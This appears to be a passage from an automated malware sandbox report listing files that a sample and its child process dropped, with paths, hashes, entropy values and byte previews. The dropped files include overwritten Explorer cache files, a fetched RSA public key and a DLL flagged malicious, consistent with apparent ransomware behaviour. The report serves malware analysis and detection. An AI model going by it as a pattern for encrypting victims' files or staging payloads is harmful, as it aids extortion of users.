SHA1:	F221B966DE8922C0ACC0D19FA44988436829291C
SHA-256:	2D883AB88A7B84096B9C5003A8AC28E967DB1B2EDD19C959E2E1EB2854269AB7
SHA-512:	5F1787A588296411042F0FD55E4B9D528BECFDF872F3BDD59A90DE7A92EA29F84F914110221CA92269188404C3A97490A870076FA94B72AD3BEBBBA391CAF5BD
Malicious:	false
Preview:	CMMM I.6.g...A..!.....I...."....09a....c...g..^..1........h..2U...3c...8..[J.uK..J..XB.2.[.Y....p2.A-.'...I.g{3..z.1...%j..>..-.u.3..S.tt..KNv.-.{&....t..}6v-....vI...R......~W(E.............g.i.\`.9..u3a......^9...s8......I...R8@..T....s..P.EE...-. ....c..U..91.N...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_exif.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.277857302852509
Encrypted:	false
SSDEEP:	6:xKGI+/fro6bycoK2IvTtz6wVR+aAVhu6F+FyhrIfVsVvfWyc3cii96Z:xKGI+/M6bycqIvQwvCh8cEWFf1+cii9a
MD5:	D22B3DCD511F53F16897ED4D2190707C
SHA1:	AB401B8464D81FF11F560F0ED1EA402AD1177EC9
SHA-256:	8A37CFB2158122C10482420E410ADA7EF1EE24142B1826C79E93A31C66C840D4
SHA-512:	A2273528DAD6100B34212A8CBA81ECAAB58AD0185E5223E647EAFBCC1C1B2288ECA666B078B8684249FEC5E451970443FDE3CB3AD0504E05A55ABF7E335753EC
Malicious:	false
Preview:	CMMM .".2...]...['(.N...@.s...s.H..}..=[X..E...z..]..5*...$'...7x.... ..Vt37L.(l.._.#..@q.)....9..`.M.B...Y.]W..P\..e...J.8R..9..'.J.g_X3.e....8....$u..H..jT~..a.......d.C....$.R.@.1P...a...l/.3......Yw".B/.s{.Mlb.lbs.......s.l...DV..,U..[y:.fQ5l.2.7.z.E.i.D..4.'..49zp.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_sr.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.348977011983961
Encrypted:	false
SSDEEP:	6:/1kVud0xNOzK0z1XyTiZr2buxfIjnJ1kJQFLu9Q1ljsHIWyc3cii96Z:/OVS0TcqTiN2buJIzJ1ksLy9HI1+ciik
MD5:	BFBF3782D92D52B58ED532DE00A3383C
SHA1:	F8CF1FBBBC682C7CBCE2B0FD55B4D9E413DC91BC
SHA-256:	4EFBF9279F08EC3CFA76BE5880B8144F85A0C37B031C8B68723E4431A5D91801
SHA-512:	4065F7FBF227FF3C8C0A8A3A57812EE120E0D59F6E2E793453522C4250F70BFADEFEEE9595F0DEF79194AC78FD96CD5D5226BE446C834A96A5F07B081E8D8F0D
Malicious:	false
Preview:	CMMM jy.!E.....1..P...}.:.yK.W.[A...w..{.`W.....):"...M.@.Or..u......w.`b.........0.Y.\|.3...m..IKn.wg$"dM..<'...v......uI..V'D.M.\..... {9.....a...k....D..........j<*.K\|....A2Lq.S.=..4.h,{..`wb.....Sy....q.../..+...+/.....%.i....v....4...F0[.Q..a1m...Y<...a...=]w;SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.336155530235964
Encrypted:	false
SSDEEP:	6:gaclug7mEYRukCcD9k5fc1E8r8m/G06B+taX1nKP5MxPTWyc3cii96Z:ulugPYIkCMi578rVclgyR1+cii9a
MD5:	3DECB7D80F9B9ACB00CC73E098F9469B
SHA1:	E737B693E2703EDC1D7CCA7D4C51F98FA389F534
SHA-256:	A547EA6F70F8CCB4BBC1B069FC092E66A127A09D9017EA4D1D19A5FBE98C7551
SHA-512:	1C1298A9C3F2C320B7208524B200812D3717086A1607891AB5297897CF8E453125E4440BD641D91BBC1583B0215032456CCD1DCB9D764ECDBE1D3C073DC2B714
Malicious:	false
Preview:	CMMM ...N3.......\.n.z.r:u....!._.t;...y...B.....d...A.U.....#..)3f.3..>s3..Y.d...6..Z..&....!s~<.^..H...:.'..N.vs....<.KN6..ql..h;<..4..i#C.....am..m.B.....T........ON..T.....ER(.P.=+...\|NC..+.r.,...5.%.(...)o...]....x.........d.KF...42.qq..G.:e.=.<..u..2...}.5!R..".\|.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.262195580752571
Encrypted:	false
SSDEEP:	6:G5HTcMzBm7fdVYRz0v3ZkHXVMhCN+1vMpb3yjqkefSi8vfWyc3cii96Z:GVrzByskpkHCs+1k1OqkASVvf1+cii9a
MD5:	7C3E9120A901C440D02270D8DB50687E
SHA1:	221FE44C8D2301110B2F1FA7436A1D22E0AB86A1
SHA-256:	C68DBF583433DC4A326CEB286CD66F0E19234920018FA7F91CF7EE21CE2E20E0
SHA-512:	0E53B6507488C6E5B2EB0287967157B7D05ABFCF2045DA1457AC8198734CB9A89A7EAC421099399B8698950045820DE515ED9ADD647B390C4CBE765332754B28
Malicious:	false
Preview:	CMMM ...x.K........+,..D.K.H....%.XK..9...........U...N7.....3...8.c.o}t..e.3.%%X`.S.M...`..<..O.-.....~.E. 4.}...+O._...o.UC..s}>3E$e/...L{u+...U...E'<........MRX.~...B CYM....). .Q.w,...M..".Y...tZ6....0.y\|..i^.G..e..i..p..]....gC.PlW. .f.dy...=..hg.wU.2...f9-..a...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1280.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.275009397800404
Encrypted:	false
SSDEEP:	6:K7dUIQM3tND8l4gvtpJJvvHatBk/hkPwT1ADrGVtYj/oYazmXecvfWyc3cii96Z:+Sr2gltjjOkmPwTODm6Omucvf1+cii9a
MD5:	C1AC396D5F4F50DB1C4956B338724A99
SHA1:	6470820960DBB997245A663DEA10EBDD9EA007F9
SHA-256:	B57DEEACC9E5CDE590CF2532356E07F25A7EA3761D8D8CBB0A09887049730F41
SHA-512:	B9A50CB3E174D15D8C64BF0D60715C7114E04CEDC15882D2AAFFBBFE1E9D90638B063D6CF0A46011B9A4214689ABCAFB86CF2EFE87A4BFCA450451752F0A6F50
Malicious:	false
Preview:	CMMM ....i....Kh.............;4J..[!..}*.......%.K.X..(...N3Z@...w.....k...x.B/...w.2.`y.q.-...E...31....5H...`.p....".B.....A.b....@A.J.R.A1..tZ.vYpEf..pz.F...........k..(...}N..a >F.......T..8.{.O.7...-....-m.....L%vv)...B.O<...............u\..n.h..aN..PKJ.6s.q..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_1920.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.283929647520823
Encrypted:	false
SSDEEP:	6:PsEXU6NYn62GkKclApJ04Iu+hPTIKR5PW+ZmJ4uorLUqD325sbqfWyc3cii96Z:U6+Vlw04IhPTIK5PWOrd8f1+cii9a
MD5:	79D11114EC336A1D1A6B8EA8B06B63FB
SHA1:	04BC493644C2F128F489FDD511641327A53E12E4
SHA-256:	435A9460F987A8982A1B511236C7D28360841952BF9CFF444031F14E807B9C88
SHA-512:	8D2F344DC7416C31CDCB88CCAA3D4E0D582846DCF010C59CAA57B8A3A7CB1B5EE4F18708F3D600CB9803861E986ECAF0296FEE2090495FC81DF8353C31715742
Malicious:	false
Preview:	CMMM .o.Ib.q.mbw.:..F......if....Z.w..Q....)_.....u...LU.>\.R...g4........\|..I.'R..I...../...../.Y.<%.6S.'..D]."..%.L&.Ik`.SZ..^]....{].......B.S...j......JJ.y.t\.2(f....f.$s.). .a@.......UI!q...!...cy.X.6#V......\.q....B.q....f{...A...Y...`./<r.T*O...YM.x...tSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_2560.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	GeoSwath RDF
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.362168904612405
Encrypted:	false
SSDEEP:	6:S0HSXMKRscCdPIRyq9LUIMFdxibBaBi/jgb9KWozsgNhC1wMthzWyc3cii96Z:S0sMKnCdPAmIMFdxiVt7+KWafNavz1+X
MD5:	696026CE2783FB5FCF01C9495304FBDF
SHA1:	D6ED003468AE180F03D86A06688B0B5D21A40AB7
SHA-256:	FCDF05048A483DD79F3E5F1656989EC487AB122C804310F0B3277D8ABD79D1CC
SHA-512:	CB56F1DF45C1D6E125836AEB8D8CE9CD2B2E79A051656331382913A4BF912078E98AE906DB2EEEDB7352C365A2697E8E5C1112ACC9969698C09D1154C0ED31D8
Malicious:	false
Preview:	CMMM ...?t.m........o,:"..<B..~..GP^Hs..N./.Z......F....N0..eZ.>\j.......y'%.*...?.>..O30V.T.......p8)..^Vu.H...5....+..J..m\|..},......EV.xmNV.yI./j../Z.........}.......C.....Py....j...Z...8.....r.......:..P.LUS.%W.......d.HG....r.K.^.....6+)...P.^R.b<...g;.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1048910
Entropy (8bit):	1.7688273768599343
Encrypted:	false
SSDEEP:	3072:X+SM/4uZnCHOq1z69UzWz+hpt2pDEa6haiUOCsW:R3uZn/qEUzs+ApDdNi5W
MD5:	03627D65EA73B6E60A7DBD10E45F5325
SHA1:	EFF2144B509DF8E9607548FA8AFBB42AF2D1C7EA
SHA-256:	5053EA9F9B15EC762D440620309E41E5351E583B37A686C7CD882F0A3CB22C74
SHA-512:	D8E5DEB246378533D50EE0C210C3579CFAA485DCD48B5494A019EF53EFAA98E84F519A9B664A45FD99891C33088BE91EC25A92086BAAE6164F58967C93E7ABA8
Malicious:	false
Preview:	CMMM ..,O^j....&X8...'.......b.(NML....q\|.I.......55.~.x...+S-...]...8.Aon.:...E...,...P..J.<.".N.....6&...\..$$3#..WS....TF.9.\|boO._....>..$..'...^d....k..[.y.R.....W...d.;.G............U.......Yhq.[...D.;Z.yZ.2.l].,.....o~..DT.........[.$].....K.........h+.A.T.U..Ry.E_......?....7..'.~...D0.{...R..;...is.g.[.y.....l.j0k.{..ee.B....F5VA..O{.d.w/..UU....Ef...>.......6Z...<..U..5.l...~...-...I.#E..\......].. ....a2..zN.._.0...s.,TK....U.../Sw3......;.7T.H\O 6.F.....5..,...6I.... ..1.^.o.~e...a19.K'...J.D....Go..@......2\.....G.,..du......dO<8~...:.8P..p.......bK.+.z.\.Ytr..Z.._.o.}K..B......l..F1p.R...Q.2..........pW.^..F..8Ku..@....y..G.oV\|.._./9..&%(L..yI..LR.u..r..T....U.d.A~.......r...-T....u...w.Y;..x...;../..`.t...0.J!........za"..D..KU.A,..O...>`.).>L.l......H.VL.@-.....Q.k.. ..1A.....W.mU....mr.}TeD...w0.<.k.3s)...nZ..D..%.}.g.6"..L.....s..J\|...%..aJ.r...z...#qG......Nj.lh....M........../O...P...1u.aoZ....kO2.#.D.t.qv......#....,

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_768.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.315043861586492
Encrypted:	false
SSDEEP:	6:E18mCuaYy6RUG7nRMBfxO1rtdeA3cKf10ePGxkmWyc3cii96Z:Q3i6RD70uve9K3Qkm1+cii9a
MD5:	EDC16568346749654169BDC028F4A823
SHA1:	FB534FB7B69F76E383BE6A0AF13BF6B1160552FD
SHA-256:	98E2E44612D6A399D487964CB9E92D1275B154DE2E8A600B322DC77A15ED875E
SHA-512:	FF748EE0456F2802B7D60061B94E15B21233EE50453A1D795B2E3ED8CE3251066107B6EAD15B385B32F440CFEE29A56754F7066243A4E0DAEE642F611580F4E1
Malicious:	false
Preview:	CMMM .>.6.r2.Wmg..m..g>.b.ho...<j.w.C.1t.p#.r.&...q.Y.(+W._Z?C..<.M..Ld.O....z<.S[.5...R...V.w)a..+...y..'.q.A.....-[.r.G:.z\....[...k...c..../.r.....V8.+O..D...Z...I.o..8.b...{.J.o....._..)N..o.Ye.R".....y/........*..pfx..8.......Mn.9V..;y.t[O.yUPF..,.]R^!.?r.L....7..%SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	4.355596163860355
Encrypted:	false
SSDEEP:	24576:1jnG+nJNVW2I8wHXEH9KPaCNr/5TG4ImqrYEUKxJoPJwsV6Cj:5nlnJNVkgH9Ky0r/8+qrYEUKxJoPJ1
MD5:	BCC8592BEFBEC7E0BFC799DC6C2E74D1
SHA1:	5161CDD471E7F41211073F4C45AF76035B10EB29
SHA-256:	7889DD42BFA06F7B3EDC2664A431910DC52F002CA7CA6376ABACE3400866EFA9
SHA-512:	86F6B245A2593834585682CF6F831E13B42686904D67EA367DEB87B0601A461D927F9438DB5EC3934CE8BD9B981C056F698387D6A74EA55A616FBA511EDBAD4E
Malicious:	false
Preview:	CMMM ........8m2Tv..p..=].ff..vJ.I..(.-FJ. rh"...%.y...1...+.........Z..`.xQ(B..,1h.'.U.H#STm......A..........z.QXL.V...C...K.S-..F..>..).3@.<;..zuT.fM.1...\|.I.....2.i,....;..X.V...[.Y..K.Fw.3C.....\|_...<!.po?y....2...Q[../.Qg\|.i.".yV..&...1&..P......?....pUQ;.,..ky.}.,.....Rv..J..?../..(.!.E6..9.lZ.:.y.o.}~........P.mlp...3\.&[.\|.\|o....Uj.O.X.e..l...7\|..+[...4..&R6V.:.3Tl...nbl.d[2.7.m...L......z{...P...'c.........N7.@..Uj.....2.v%..Xx.....%.4sm..@.w....X."..d......Ry...gwx.4.-P?\|.N8.....H.Ku..Cf.".UWg....D.H.`%HY..p.._.~....x..0i:+.Eb..Z:B.R!..TH.l..1....@.y...%C7B.....G.\|VdB.,ck*`........rs.i...;.-n......^.~....O}0..$"u.+J%L]Q.....G.&E.I{.E^...]...F...c.a.6.eas......xr..=.q......p)h..Q.Q...ZF.o0)Y.........m..]T....j.s..`.~.H.\|..~...G..Z...]..H(.v..h.QzJ..g..w'.`.t&...&.@...B..,##....7.y..".4.k.....;....}.&T..[N.F...?@o........@...P=.Q..:./^......7!.......D...~$.......4\|. ..5[.....Qhouq5.7........x.;...K..5.)!!h.O.S.>O?c..R..7.

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_custom_stream.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.348354613865178
Encrypted:	false
SSDEEP:	6:aCTx8qaDsgveT0BV2i1UJOyF3FUw7FPPL6B9dW5lHkdESAS7efWyc3cii96Z:zT2qaPBVbGJFUwtSglHkeliI1+cii9a
MD5:	AF59CD32EEAFED17DDDE3018D384BC84
SHA1:	030FBE2AFD7ACD17C7C61E17EFB0241FAA644FF5
SHA-256:	7CD82D9719A60974441FCE2A27158DEA462D8F4C854AC338D6AC65174BCC49BA
SHA-512:	73435ACD7D17228B2B3CE83062C2955440397EEEB54DB185E72405320BF8B592134E58B33CDC1AEE3762A8D2329941E2D192F77BD5D80E021BAB5CC2FCB4C468
Malicious:	false
Preview:	CMMM ..........d....P.z..`..#t.O.^.)4..9l.... .m.^..c&......}......'..h.nV.eW....%(.N.i .A.}..6.q.]F.T.@..?...4..._gx.u&..I..F.J..)?l..i.....p.c..Nk....y..h.9.k...!J[E...:j.4.9.`..%........y. ....../.@..-V,...%.3.S.N;E..eV0..N.D......f'G.+pv.....[sT.....W...xE..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_exif.db

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.256257879581975
Encrypted:	false
SSDEEP:	6:AgGADXfFp3W+9mlxheJaAx7XUwIE/qcZlno6i9g7WGdKogI8vfWyc3cii96Z:AgG8p+0JFnTCcZlnoR9IVgI+f1+cii9a
MD5:	7637E05BA7918FB0BDB03B9E03DF51A6
SHA1:	7C9B157E70711CC85531DF6FE9A5302C7223E8AC
SHA-256:	32F31A1859F109C82F07E27B2975A2512FC3A861A361ABD11FFEF5BB8171AFC6
SHA-512:	C56279A358CC4F60EB7EFC81A72E19B2F7AF2B0C7DFA53E831E969B86E08311C29000C051077476D80064B81E4009E35B28EF4ACAD351E27D0E90C01DC8B8642
Malicious:	false
Preview:	CMMM .Z..c..g...rz.T.......'.b.ca.S.'..C.$..+..b.A@`....5'2u...)w.z....7..Ax.....g7.Y..._9.._.-.`.'.\|$...Ff.nw%:.P.v...:..)..X...b.L........... j.!.?........1..<'.H.K..b.f..U.A..b.?.5.@.{.k..b....Y...C+.4+.W..R.\.Cm. x.T......RQx...xD.3....U...HQ..u.....,..$..:...DDSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\76561199673019888[1].htm

Download File

Process:	C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe
File Type:	data
Category:	dropped
Size (bytes):	34124
Entropy (8bit):	7.994342961891261
Encrypted:	true
SSDEEP:	768:Y1zwQ9MVBrL6b4gST6wFSR+OJNzj55rRKvIiuwczOzN:cT9MVB6sBdSRxb35Lhiuwcu
MD5:	84BFF4AAD52A4267DEC1AEDAD9018E3E
SHA1:	F1340471C0455AA54AC823B29BDBF26A0DB275E8
SHA-256:	BC2E23525B11083AB3D4C705CEB75CFCAF69FD8F334A90A2B50116A8A434128B
SHA-512:	C909D157C5F3EAD7E42A40F5845852DE60CDB0774E9D2C6228F9BFF057A4B3E2AB6B965CE5E06944E05740B50733D040CA1D0B1E6CCE2A227B0D63BB57CE5B79
Malicious:	true
Preview:	<!DOCWQfFd.{.....*.../..b...:..s...l.....m..-..I.I.h.~.;...v...Fx.#...!>t.~.jnA#...T4...9%'_.\I...p....9....=F...h.y8..\.Y'..Y.}8t.'..:....$..2..F........!.........L.:9....eL.`x.v..\m.spa.!e..^..)..U.d.\|.bB(....<...J.)g<#.9.#.sm ..Bl..+.]z.y.".P<t.D..G.....^G...t6....:Be.p.1.}M{..t.Y..:.1l...q...a-.C..utX......<W.x..Lt8.8W.`..}$MGh.5...eq..<..:.....h..?.H...z>C1..~...;...m9.\vq..h.<...NV..\p.....K'.%....'k3Wv.;..s.~B].0B.O.q...M.}.a.O...E..[uQu.D@C...!,{p....5..mk.. r.S.....T2.o......_be..<. S)../..]..^...O(..x...O..5.r...j.T.H.P....4.%...%../..\|...qN.j.4.Y?..n..j..^......(a"%.K8.`.......3V...k.l.2.....9...\|2^E..q.........-........c....B..\|..%W..t=.k....u...-...u..{....`..d.....VC......Z._.."......}.(...-.......BK..L._....~aY......i..I.........~./WIk...q...J{.9n....?.......u0.9.B....".q..[...W...o.a"c>.CI..<.,.$.F/.....!......}Zz.\..6}?n~.......!..yDo-z..........'/`,^.S....j_Q.Tn.mrp.s...?..zQ.....'...5...f..... zQ.....Q.Pu9M......~..]..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\get[1].htm

Download File

Process:	C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	557
Entropy (8bit):	6.017036102656592
Encrypted:	false
SSDEEP:	12:YGJ6838ONrD3LxM8OO+xst1zIBnzmKI15Y1/:YgJ38aX7KAGzm1q
MD5:	C4C2A009303D43379B6505DAE754CB92
SHA1:	FE20E38B05EEC237ED31B5D90115ED3EBA7B89FF
SHA-256:	F0B8EA240CEA32D7AB9FD7E19E8F84B909DB34D44489226196C8830007B878ED
SHA-512:	C9CDFFB3D5A41CAC27B357DC4B983D00EFE37DC9DC786409B9418704E2FDC57AE800E51904F31AC39B736EBC0C02F2E26F6ABEEC67A74D08DCBD6BAC5D5FD697
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24xTXjRxnF\/qUDjtPuMzqR9cnk4FM4bD73wQRrdRFh\\nSE5Wk11vtkSPp4zCNnX7iOBGxRq6TRXA3rXlM+PuoRZJvoSm1g89cVnmp8uuUZgM\\n0EtlUkbHWKFkr3LNGZl33hUmvFiw0CQRq+T4DIz9dnKFoSCODCOAYL4efbYGZil7\\nc3\/Hz5CFE+feVT+eU4zbNtCm4B7vyBvKN4sMiDRakJHQZsJZ4HdkUFj9OMqN774a\\nc6ikgCtTJdIBxE7Za7YoSYIPGvgA4k\/QNvqV6O6U73qNBe04kRxsZn83tIf65Evc\\nOQIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\get[2].htm

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	557
Entropy (8bit):	6.017036102656592
Encrypted:	false
SSDEEP:	12:YGJ6838ONrD3LxM8OO+xst1zIBnzmKI15Y1/:YgJ38aX7KAGzm1q
MD5:	C4C2A009303D43379B6505DAE754CB92
SHA1:	FE20E38B05EEC237ED31B5D90115ED3EBA7B89FF
SHA-256:	F0B8EA240CEA32D7AB9FD7E19E8F84B909DB34D44489226196C8830007B878ED
SHA-512:	C9CDFFB3D5A41CAC27B357DC4B983D00EFE37DC9DC786409B9418704E2FDC57AE800E51904F31AC39B736EBC0C02F2E26F6ABEEC67A74D08DCBD6BAC5D5FD697
Malicious:	false
Preview:	{"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24xTXjRxnF\/qUDjtPuMzqR9cnk4FM4bD73wQRrdRFh\\nSE5Wk11vtkSPp4zCNnX7iOBGxRq6TRXA3rXlM+PuoRZJvoSm1g89cVnmp8uuUZgM\\n0EtlUkbHWKFkr3LNGZl33hUmvFiw0CQRq+T4DIz9dnKFoSCODCOAYL4efbYGZil7\\nc3\/Hz5CFE+feVT+eU4zbNtCm4B7vyBvKN4sMiDRakJHQZsJZ4HdkUFj9OMqN774a\\nc6ikgCtTJdIBxE7Za7YoSYIPGvgA4k\/QNvqV6O6U73qNBe04kRxsZn83tIf65Evc\\nOQIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P"}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll

Download File

Process:	C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: R5391762lf.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: sIQywRNC5M.exe, Detection: malicious, Browse Filename: qJKiVKZdFk.exe, Detection: malicious, Browse Filename: Z4CYGTBlj7.exe, Detection: malicious, Browse Filename: SUwX12D2S6.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: rq0mVjR9ar.exe, Detection: malicious, Browse Filename: 8jvTeVxooN.exe, Detection: malicious, Browse Filename: UXNob1Dp32.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\edge\remote\script_300161259571223429446516194326035503227.rel.v2

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	83120
Entropy (8bit):	7.997892615241475
Encrypted:	true
SSDEEP:	1536:24GLmtJBqcrIiEyLFQa0wlTYcDXqLeX4xtWIZRUphMI7bbxr4ZUaYzUR:2bLmt+crjzL+wFBXueXOWWwMMvVAqUR
MD5:	A02AFF9A386527053871DE4C2DF6A9BE
SHA1:	5BD296AA47C77DE04D130FA7935D6EC998F6F003
SHA-256:	F7B0F319B3F6AA0F191F0A2BA27EA96039E8B019E836CEF582F429B2ED181921
SHA-512:	450E34D6D5C4DC3F56E41A04E561931E588AEBB2AC895F0C0F06B09E128D02E40711E9B0A06D04EC0326F67804D3217090426BFE2D295B32F028C0C6D77DF1E5
Malicious:	true
Preview:	'use e......2.5.......^..g/\!\.#s..>.T...vi.....L..rR^...o){c...]....1......31Q..i.gR..W...)......t.n.3.T.........=..AU.)..H.B.Cq...{.0'e..{lJ..<.n....V..H..{..dk..%.}..k.'u.C">.i.....XR..G........ ....xN..I.O..O.!mQ~-u....C.....y.hyj........@.`.g...P.../.........h.W......~...k...].).l?'...!T.4w...k.[.5..B,..9.....?.r....)i.t..._<.. ?r..).v!..C7..E.>..e......Nx.H....s..C.........c.=.F...%..VZB.HU.y...O+.i......c......}.............."d.....o[......U...=.Su.I=.I.'.S.HkI...,..h.T....-o/.......Q..z..#...[.v..r{0K.If.....S.....s..a...o.W..a.......)....K]M.'(Upx.u)..[.oP.x....vbe.\..p.0......[....w..&.7p.c&.&..w.P{......pk...0i.ch.".....r...F..P...~:.Q..E...._....a:w....,....}....Z.Y.Vmq....q.^.#s...u..}....D...7...P.1)..y:....i/...%a,...H.......Ci=#$J.........../.[.\6...V}..}a."..0....6I..]...1.....0.o\e.l...9........ .6..l.M..A+..tC.W!AW..C{..v.z.T+.........Iz7.8-....?]'W.(.R.L.q{B.M.D.......;..........5.f.Uky..b...

C:\Users\user\AppData\Local\Microsoft\Windows\Safety\shell\remote\script_96032244749497702726114603847611723578.rel.v2

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	31496
Entropy (8bit):	7.993603080403872
Encrypted:	true
SSDEEP:	768:6HWIBIuAqvWZpec1PnimraW17tjmGXz8l/CLIh2D6XmR:MIupWXTlniQ1HwWI0h
MD5:	65EC70BE751C46A310D3B2ED987835BC
SHA1:	D81E76C4B13995980FB1CC560702C2D9495EAEAB
